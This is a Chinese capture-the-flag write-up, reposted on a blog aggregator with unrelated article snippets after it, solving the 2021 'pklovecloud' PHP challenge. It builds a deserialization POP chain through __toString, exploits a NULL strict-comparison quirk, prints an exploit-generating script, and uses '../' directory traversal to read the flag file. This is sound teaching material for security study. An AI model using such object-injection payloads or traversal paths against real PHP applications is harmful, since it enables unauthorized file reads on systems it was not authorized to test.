[第五空间 2021]pklovecloud 详细题解

知识点:

构造POP链
PHP类的作用域
NULL强比较
目录穿越

源码如下:

 <?php  
include 'flag.php';
class pkshow 
{  function echo_name()     {          return "Pk very safe^.^";      }  
} class acp 
{   protected $cinder;  public $neutron;public $nova;function __construct() {      $this->cinder = new pkshow;}  function __toString()      {          if (isset($this->cinder))  return $this->cinder->echo_name();      }  
}  class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  if (isset($_GET['pks']))  
{$logData = unserialize($_GET['pks']);echo $logData; 
} 
else 
{ highlight_file(__file__); 
}
?> 

构造POP链:

代码很直白,GET传入参数pks,输出反序列化的结果

从后向前推构造POP链,可以看到ace类中的代码  return file_get_contents($file);

file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag

class ace
{    public $filename;     public $openstack;public $docker; function echo_name()      {   $this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){$file = "./{$this->filename}";if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "keystone lost~"; }    }}  
}  

需要满足if($this->openstack->neutron === $this->openstack->nova) 条件

openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性

$this->openstack->neutron = $heat; 

这里代码中并没有出现过$heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,$heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过$heat,那么$heat的值就是NULL

因为类中的属性和类外面的属性值是没关系的

用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件

//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{public $filename;public $docker;public function abc(){if($this->docker === $heat)echo "ddddddddddddddddddddd!";}
}$a = new ace();
echo $a->abc();
?>

结果在下面,这里没有给属性docker赋值,但是满足了 $this->docker === $heat  说明这里是NULL === NULL  $heat不是外面的123456 而是NULL

既然$heat = NULL  $this->openstack->neutron 和 $this->openstack->nova 就也得是NULL

$this->openstack = unserialize($this->docker);   openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL

然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()
cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象

toString()方法会在一个对象被当作字符串时被触发自动调用
最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,$logData是反序列化得到的对象,然后会echo $logData,就会触发__toString()方法,完成构造

pop链:

ace::echo_name() -> acp::__toString() -> acp:: __construct()

序列化代码:

<?php  
class acp 
{   protected $cinder ;   //  2  在__construct()内部赋值为ace类对象public $neutron;public $nova;function __construct() {      $this->cinder = new ace;}
}  
class ace
{    public $filename = 'flag.php';       //    内部赋值为flag.phppublic $openstack;public $docker;        // 1  赋值为空(null),或者什么都不赋值}  $a= new ace();
$a->docker = null;$b=new acp();
echo urlencode(serialize($b));

这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别

目录穿越:

查看源码得到flag.php 的源码,$heat确实是在这里定义的

修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';

回显  keystone lost~   说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对

这里 $file = "./{$this->filename}";   ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可

目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/61511.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

elment-ui的折叠tree表单实现纯前端搜索,展开收起功能

好久没更新博客了~ 记录一下本次做的一个很扯的需求 纯前端去实现这个查询的功能,后台返回的是个数组对象,前端要给他包装成树结构先展示 之后参考代码路径src\views\goods\category\index.vue 需求描述: 搜索输入任何一个关键字,都会展开他的父级,两个栏目都包含了,那么两个父…

Redis面试篇笔记(持续更新)

一、redis主从集群 单节点redis的并发能力是由上限的&#xff0c;要进一步提高redis的并发能力可以搭建主从集群&#xff0c;实现读写分离&#xff0c;一主多从&#xff0c;主节点写数据&#xff0c;从节点读数据 部署redis主从节点的docker-compose文件命令解析 version: &q…

HTML5拖拽API学习 托拽排序和可托拽课程表

文章目录 前言拖拽API核心概念拖拽式使用流程例子注意事项综合例子&#x1f330; 可拖拽课程表拖拽排序 前言 前端拖拽功能让网页元素可以通过鼠标或触摸操作移动。HTML5 提供了标准的拖拽API&#xff0c;简化了拖放操作的实现。以下是拖拽API的基本使用指南&#xff1a; 拖拽…

GCC编译过程(预处理,编译,汇编,链接)及GCC命令

使用 gcc&#xff08;GNU Compiler Collection&#xff09; 编译一个 C 或 C 程序时&#xff0c;整个编译过程可以分为以下几个阶段&#xff1a; 1. 预处理&#xff08;Preprocessing&#xff09; 命令&#xff1a;gcc -E source.c -o source.i 在这一步&#xff0c;编译器处理…

06 —— Webpack优化—压缩过程

css代码提取后想要压缩 —— 使用css-minimizer-webpack-plugin插件 下载 css-minimizer-webpack-plugin 本地软件包 npm install css-minimizer-webpack-plugin --save-dev 配置 webpack.config.js 让webpack拥有该功能 const CssMinimizerPlugin require(css-minimizer-…

【机器学习】超简明Python基础教程

Python是一种简单易学、功能强大的编程语言&#xff0c;适用于数据分析、人工智能、Web开发、自动化脚本等多个领域。本教程面向零基础学习者&#xff0c;逐步讲解Python的基本概念、语法和操作。 1. 安装与运行 安装Python 从官网 Welcome to Python.org 下载适合自己系统的…

小熊派Nano接入华为云

一、华为云IoTDA创建产品 创建如下服务&#xff0c;并添加对应的属性和命令。 二、小熊派接入 根据小熊派官方示例代码D6完成了小熊派接入华为云并实现属性上传命令下发。源码&#xff1a;小熊派开源社区/BearPi-HM_Nano 1. MQTT连接代码分析 这部分代码在oc_mqtt.c和oc_mq…

形态学图像处理(Morphological Image Processing)

形态学图像处理(Morphological Image Processing) 前言 ‍ 本博客为个人总结数字图像处理一课所写&#xff0c;并给出适当的扩展和相应的demo。 写博客跟做 checkpoint​ 很像&#xff0c;毕竟个人还不能达到那种信手拈来的境界&#xff0c;忘了就是从零开始训练&#xff0…

[webgis 0基础到找工作]------JavaScript--DOM事件进阶 day10

1.事件流 事件流是对事件执行过程的描述&#xff0c;了解事件的执行过程有助于加深对事件的理解&#xff0c;提升开发实践中对事件运用的灵活度。 简言之&#xff0c;捕获阶段是【从父到子】的传导过程&#xff0c;冒泡阶段是【从子向父】的传导过程。 1.1捕获和冒泡 如果事件…

TheadLocal出现的内存泄漏具体泄漏的是什么?弱引用在里面有什么作用?什么情景什么问题?

首先ThreadLocal是什么就不介绍了&#xff01;这篇是讲讲里面的东西。 再简单说一下强引用和弱引用&#xff0c;举个例子&#xff0c;我们平常new出来的对象就是强引用的&#xff0c;在栈中有强引用&#xff0c;所以在gc的时候&#xff0c;堆中的实例对象不会被清除掉。 弱引…

第一次shell作业

#接受用户输入的服务名称 read -p"输入需要部署的服务名称: " server_name if [ "service_name" "nginx" ]; then #判断服务是否安装 if command -v nginx > /dev/null 2>&1; then echo "nginx 已安装" #自定义网…

MATLAB图注意力网络GAT多标签图分类预测可视化

全文链接&#xff1a;https://tecdat.cn/?p38321 本示例展示了如何使用图注意力网络&#xff08;GATs&#xff09;对具有多个独立标签的图进行分类。当数据中的观测值具有带有多个独立标签的图结构时&#xff0c;可以使用GAT来预测未知标签观测值的标签&#xff08;点击文末“…

CSS优化file控件样式

<div class"file-box"><input type"button" class"btn" value"选择文件" /><inputtype"file"class"file"id"upimg"change"previewFiles"multiple/></div><!-- Vu…

Go语言24小时极速学习教程(三)常见标准库用法

常见标准库 常见标准库即Go语言自带的库&#xff0c;这里的所有包都可以通过import直接引入&#xff0c;如果你觉得实在是不好用&#xff0c;那么请先保证你学会了标准库的基础上&#xff0c;再学一下Gookit&#xff0c;特别是其中的GoUtil&#xff0c;千万不要轻易自己去造轮…

CTF--php伪协议结合Base64绕过

Base64绕过 在ctf中&#xff0c;base64是比较常见的编码方式&#xff0c;在做题的时候发现自己对于base64的编码和解码规则不是很了解&#xff0c;并且恰好碰到了类似的题目&#xff0c;在翻阅了大佬的文章后记录一下&#xff0c;对于base64编码的学习和一个工具 base64编码是…

虚拟网卡驱动和DM9000C移植

网卡驱动程序框架 网卡驱动程序“收发功能”&#xff1a; 只要把上层的数据发给网卡&#xff0c;从网卡来的数据构造成包给上层即可。网卡只需要 “socket”编程&#xff0c;不需要打开某设备。 驱动程序都是以面向对象的思想写的&#xff0c;都有相关的结构体。 编程步骤 …

image compare pyqt 实现

默认显示image1, 鼠标滑动滚动条切换图片显示 可视化效果: image_compare.py import sys from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QSlider, QVBoxLayout, QHBoxLayout from PyQt5.QtCore import Qt, QSize from PyQt5.QtGui import QPixmap, QPainte…

【单片机基础】定时器/计数器的工作原理

单片机中的定时器/计数器&#xff08;Timer/Counter&#xff09;是用于时间测量和事件计数的重要模块。它们可以用来生成精确的延时、测量外部信号的频率或周期、捕获外部事件的时间戳等。理解定时器/计数器的工作原理对于单片机编程和系统设计非常重要。以下是定时器/计数器的…

在自动驾驶进行大数据量因果推理实验时,如何减少无用功,提高实验效率?

在对实验结果做反事实推理时&#xff0c;通常需要对数据进行多次循环&#xff0c;然后对多次循环的结果进行处理&#xff0c;如果只在最后结果结束时&#xff0c;再进行处理&#xff0c;可能会由于反事实过程中某个参数设置错误&#xff0c;导致整个反事实实验出现错误&#xf…

浅谈软件开发中的yield关键字:从餐厅服务理解异步编程之美

在现代软件开发中&#xff0c;处理大量数据流时经常会遇到性能和内存消耗的问题。传统的编程方式往往是一次性获取所有数据&#xff0c;这就像餐厅厨师要把所有菜品做完才上菜一样&#xff0c;既不高效也不够灵活。而yield关键字的出现&#xff0c;为我们提供了一种优雅的解决方…